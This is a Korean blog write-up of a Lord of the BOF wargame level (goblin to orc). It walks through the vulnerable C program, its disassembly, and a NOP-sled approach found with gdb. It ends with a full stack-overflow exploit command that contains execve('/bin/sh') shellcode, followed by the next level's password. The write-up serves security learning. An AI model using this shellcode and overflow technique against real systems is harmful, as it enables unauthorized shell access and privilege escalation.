thumbnail
cd ..
root@blog:~/posts/ 202210

FTZ LOB LEVEL 4

#KOR#pwn
2022.10.14.

0. 들어가기 전에

드디어 새로운 형식의 BOF문제다! 재미있게 한 번 풀어보자.

1. Level 4 : Goblin -> Orc

코드를 확인해보니, egghunter라는 녀석이 모든 환경변수를 초기화하고있다.

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

일단 어셈블리도 확인해보고 어떻게 할지 알아보도록 하자.

0x8048500 <main>:       push   %ebp
0x8048501 <main+1>:     mov    %ebp,%esp
0x8048503 <main+3>:     sub    %esp,44
0x8048506 <main+6>:     cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:    jg     0x8048523 <main+35>
0x804850c <main+12>:    push   0x8048630
0x8048511 <main+17>:    call   0x8048410 <printf>
0x8048516 <main+22>:    add    %esp,4
0x8048519 <main+25>:    push   0
0x804851b <main+27>:    call   0x8048420 <exit>
0x8048520 <main+32>:    add    %esp,4
0x8048523 <main+35>:    nop
0x8048524 <main+36>:    mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>:    nop
0x804852c <main+44>:    lea    %esi,[%esi*1]
0x8048530 <main+48>:    mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>:    lea    %edx,[%eax*4]
0x804853a <main+58>:    mov    %eax,%ds:0x8049750
0x804853f <main+63>:    cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>:    jne    0x8048547 <main+71>
0x8048545 <main+69>:    jmp    0x8048587 <main+135>
0x8048547 <main+71>:    mov    %eax,DWORD PTR [%ebp-44]

2. NOP SLED

오늘은 NOP SLED라는 방식을 활용할 것이다. NOP SLED란 컴퓨터 기계단에서 포인터가 다음 실행될 코드의 주소를 가리킬 때, \x90 (NOP)가 있으면 SLED, 썰매를 타듯이 계속 다음 코드를 자동으로 포인팅하여 실행(혹은 디코딩)가능한 내용물이 나오기까지 계속해서 주소를 이동시키는 로직을 이용한 방법이다.

우리가 두 개의 문자열을 매개변수로 남긴다고 가정해보자. (물론 프로그램에서 매개변수를 하나로 제한한다면 다른 방법을 생각해야 할 것이다.)

gdb를 활용하면 얼마든지 두 매개변수의 주소를 구할 수 있다. (예를 들어 두놈 다 \x90을 실컷 넣어놓고 실행시킨 다음 디버깅을 하면서 00000000이 계속해서 나오는 지점을 확인하면 된다.)

단, 이는 우리가 실제 문제 코드를 실행시킨 게 아닌, 코드를 카피해서 만든 프로그램으로 진행해야하기에 완벽하게 주소를 알아내는 것은 불가능하다. 하지만 똑같은 코드이기에 대략적인 주소는 확인 가능하다.

여기서 NOP SLED가 등장한다. 대충 여기인 것 같다면, 그 곳부터 \x90을 잔뜩 넣은 후 그 후에 쉘코드를 꽂아주자. 그러면 실제 프로그램에서도 “대충 그 어디쯤에 들어간” 두 번째 매개변수가 쉘을 실행시켜 줄 것이다.

하지만 이걸 위해서는 당연히 첫 번째 매개변수에 늘 하던것과 똑같이 bof를 발생시켜 return지점을 바로 저 두 번째 매개변수의 대략적인 시작지점으로 바꿔줘야 한다.

3. 실제 흐름

일단 orc파일을 복사해서 실행파일로 만든 다음 그 파일을 gdb로 디버깅한다.

gdb copy
b * main //main 함수 시작하자마자 브레이크 포인트.
r `python -c "print '\x90'*44 + '\xff\xff\xff\xbf'"` ``python -c "print '\x90' * 200"` 
// 실행시킬 때 실제 버퍼오버플로우처럼 44 + 4바이트 리턴주소를 넣어준다.

//실행하면 브레이크 포인트가 걸렸을 것이다. 레지스터의 구조를 확인하기 위해 다음과 같은 명령어를 입랙현다

x/200x $ebp

여기서 내가 gdb로 도대체 무슨짓을 한건지 모르겠다면, gdb 디버거에 대해 조금 공부해보자. b는 브레이크포인트고, r은 브레이크 포인트 건 상태에서 코드를 실행하기 위한 명령어일 뿐이다.

하여튼 마지막 코드를 입력하면 현제 레지스터 주소의 점유현황이 (꽤 길게) 나타난다. 이 중에서 00000000이 쭉 이어지는 부분을 찾으면 그곳이 대략적인 두 번째 매개변수의 주소다.

이렇게 확인한 두 번째 매개변수의 주소는 다음과 같다 :

\xc8\xfb\xff\xbf

따라서 익스플로잇 :

 ./orc `python -c "print '\x90'*44 + '\xc8\xfb\xff\xbf'"` `python -c "print '\x90' * 200 + '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"`

비밀번호 : cantata


Source

[ comments ]